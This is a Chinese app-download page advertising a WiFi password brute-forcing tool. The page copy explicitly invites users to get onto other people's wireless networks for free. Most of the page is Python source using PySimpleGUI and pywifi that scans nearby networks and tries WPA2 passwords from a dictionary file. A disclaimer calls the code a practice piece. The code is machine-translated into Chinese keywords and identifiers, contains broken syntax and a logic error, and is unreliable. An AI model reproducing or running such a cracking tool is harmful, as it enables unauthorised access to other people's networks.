首页 手机应用 系统安全 wifi密码破解工具

wifi密码破解工具 官网下载_wifi密码破解工具 绿色免费版v1.0

wifi密码破解工具
  • 时间:
  • 类别:系统安全
  • 大小:22.1 MB
  • 评分:9.0分
标签:
wifi密码破解工具 扫一扫下载wifi密码破解工具
游戏简介

wifi密码强制破解软件能帮助用户强行破解WiFi,从而快速获取其真实密码,可使用密码字典的形式来进行操作,提升密码获取的效率,软件整体使用非常简单,只需选择对应的无线即可进行操作,用户可导入不同类型的字典进行快捷破解,想要免费连接别人无线的用户快来试试吧。

wifi密码强制破解软件图

软件功能

这两天在家无聊,想写点小工具玩玩,于是看了一下PySimpleGUI,写了一个暴力破解无线局域网(无线保真的缩写)的软件

这是练习作品,不要指望它真能破解邻居的无线局域网(无线保真的缩写)密码

密码字典是网上随便下载的,破解的无线局域网(无线保真的缩写)也是我家的WIFI,再次重申,这只是练习作品!

软件代码

将PySimpleGUI作为医务主任导入

导入pywifi

从pywifi导入常量

导入时间,os.path

# 设置全局默认设置

sg.set_options(font=('微软雅黑' 10))

# 定义用户界面布局

布局=[[sg .文本(' 2。选择破解的无线局域网(无线保真的缩写)名称:')],

【sg .Combo(values=[],key='-WIFI名称-'大小=(40,无)),sg .按钮(' 1。查找WIFI 'key='-扫描WIFI-')],

【sg .文本(' 3。选择密码字典文件:')],

【sg .InputText(key='-KEY LIST-'),sg .文件浏览('选择文件,target='-KEY LIST-'key='-FILE CHOOSE-')],

【sg .按钮(' 4。执行检查,key='-CHECK-'),sg .按钮(' 5。开始破解,key='-START-'auto_size_button=False,disabled=True)],

【sg .Output(key='-OUTPUT-'size=(54,20))]]

# 创建窗户

窗口=sg .窗口(\"窗口标题\",布局)

wifi密码强制破解软件图

# 创建网卡

wifi=pywifi .PyWiFi()

ifaces=wifi.interfaces()

iface=无

如果len(国际会计师联合会)为0:

iface=iface[0]

极好的扫描_wifi():

'''扫描附近的''无线网络'''

打印('开始扫描WIFI,请稍候……')

iface.scan()

时间。睡眠(2)

结果=[]

对于iface.scan_results()中的res:

如果len(res.ssid) 0和资源ssid不在结果中:

结果.追加(资源ssid)

窗口['-WIFI名称-']。更新(值=结果)

打印('扫描完毕)

定义检查():

'''检查破解前的准备工作是否完备'''

如果iface为无:

打印('你的计算机没有网卡,请退出!')

窗口['-开始-']。更新(禁用=真)

返回

否则:

打印('计算机网卡已选定:' iface.name())

无线局域网(wireless fidelity的缩写)名称=值['-WIFI名称-']

如果(妻子名为无)或(len(wifiname)==0):

打印(' WIFI名称不能为空)

返回

否则:

打印(' WIFI名称:'妻子姓名)

keylist=values['-KEY LIST-']

如果(键列表为无)或(len(keylist)==0):

打印('密码字典路径不能为空)

否则:

如果os.path.exists(键列表)和os.path.isfile(密钥列表):

打印('密码字典路径:'键列表)

窗口['-开始-']。更新(禁用=假)

否则:

打印('密码字典路径不正确)

定义wifi_connect(接口、wifi名称、密码):

'''

尝试进行无线局域网(无线保真的缩写)连接

:参数接口:网卡对象

:param WiFi名称:WiFi名称

:参数密码:WiFi密码

:返回:真或假,连接成功或者失败

'''

if interface.status()!=常量IFACE_DISCONNECTED:

interface.disconnect() #断开连接

时间。睡眠(0.5)

profile=pywifi .个人资料()#创建无线局域网(无线保真的缩写)连接文件

profile.ssid=wifiname # WiFi的ssid,即无线局域网(无线保真的缩写)的名称

profile.key=密码# WiFi密码

profile.auth=const .AUTH_ALG_OPEN #开放网卡

追加(常量.AKM_TYPE_WPA2PSK) # WiFi的加密类型,现在一般的无线局域网(无线保真的缩写)都是wpa2psk

profile.cipher=常量.密码类型CCMP #加密单元

界面。remove _ all _ net _ profiles()#清空轮廓列表

界面。添加网络配置文件(配置文件)#添加轮廓

接口.连接(配置文件)#连接无线局域网(无线保真的缩写)

时间。睡眠(1)

if interface.status()==const .IFACE_CONNECTED:

返回真实的

返回错误的

定义破解(wifiname,keylist):

'''

使用密码字典的方式暴力破解无线局域网(无线保真的缩写)密码

:param WiFi名称:WiFi名称

:参数键列表:密码字典

:返回:破解出的密码

'''

带open(键列表,' r '编码='utf-8 ')作为女:

对于f.readlines()中的键:

key=key.strip()

打印('正在尝试密码:'键)

isok=wifi_connect(iface,wifiname,key)

如果isok:

打印('连接成功!WiFi:“WiFi名称\"密码:'键)

回车键

否则:

打印('连接失败,密码错误)

# 事件处理循环

虽然正确:

# 调用阅读()显示窗口,等待用户交互

event,values=window.read()

# 以下就是事件处理的逻辑

# 如果用户点击关闭窗口,就退出

如果事件==sg .窗口_关闭:

破裂

# 扫描无线局域网(无线保真的缩写)

elif事件=='-扫描WIFI-'

scan_wifi()

# 执行检查

elif event=='-CHECK-'

检查()

# 开始破解

elif event=='-START-'

打印('开始破解)

破解(值['-WIFI名称-'],值['-密钥列表-'])

# 关闭窗户

window.close()

上面给大家详细的介绍了wifi密码破解工具 ,以上内容仅2u手游网小编个人理解,最后希望大家喜欢!

游戏截图

相关攻略

猜你喜欢